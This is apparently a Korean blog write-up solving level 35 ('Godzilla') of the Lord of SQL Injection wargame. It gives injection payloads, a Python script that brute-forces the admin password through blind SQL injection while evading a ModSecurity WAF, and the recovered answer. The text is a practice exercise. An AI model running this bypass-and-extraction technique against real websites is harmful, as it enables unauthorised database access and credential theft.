WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 35 - Godzilla

갓-질라. 한국에서 '갓'이라는 접두어는 뭔가 엄청난 것에게 부여된다. 이번에 풀어볼 몬스터는 얼마나 대단한지, 코드를 통해서 알아보자

<출처 : 위키백과 https://en.wikipedia.org/wiki/Godzilla >


코드

blind sql injection이다. 정확한 pw를 요청하고 있고, query의 결과를 알 수 있는 특정한 조건문이 있다. 

혹시?

try : ?id=%27%20or%20id=%27admin%27

이제 익숙해지자... WAF가 또 사용되었다.


해결방법

Answer Url : modsec.rubiya.kr/chall/XXXX.php?pw=a18a6cc5

import string
from requests import get

if __name__=="__main__" :

    url = "### GODZILLA의 URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?id=-1%27<@=1%20or%20length(pw)>"+str(length)+"%20and%20id<%27admio%27%20or%20pw=%27123&pw=123"
        new_url = url+param
        req = get(new_url,cookies=cookie)
        if (req.text.find("Hello admin")<0) :
            print("FIND! password lenght id : "+str(length))
            break
        length+=1
        


    print("\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=-1%27<@=1%20or%20id<%27admio%27%20and%20pw>%27"+password+a+"%27%20%27"
            new_url = url+param
            req = get(new_url,cookies=cookie)
            
            if(req.text.find("Hello admin")<150 and req.text.find("Hello admin") != -1) :
                index = letters.index(a)
            else :
                break
        if(i!=length) :
            password += letters[index]
        else :
            password += letters[index+1]
        print("found pw for letter's",i,":",password)
        

    print("="*25)
    print("find password : "+password)

풀다가 깨달았는데, url 앞에 modsecurity에서 보호된다는 게 쓰여있다. ㄷㄷ 몰랐다.

풀이 방법은 ModSecurity우회 법과 blind sql injection을 합쳐서 풀었다. 문자열 비교 연산자를 통한 풀이가 되겠다.

출력은 다음과 같다.

### LENGTH of PASSWORD SEARCH ###
FIND! password lenght id : 8

### PASSWORD SEARCH ###
found pw for letter's 1 : a
found pw for letter's 2 : a1
found pw for letter's 3 : a18
found pw for letter's 4 : a18a
found pw for letter's 5 : a18a6
found pw for letter's 6 : a18a6c
found pw for letter's 7 : a18a6cc
found pw for letter's 8 : a18a6cc5
=========================
find password : a18a6cc5

 축하한다.


앞으로 MODSECURITY의 보호를 받고 있는 문제는 굳이 ' or 1=1--%20 같은 뻔한 Injection은 하지 말아야겠다. 다음 몬스터에서 여러분들을 기다리겠다.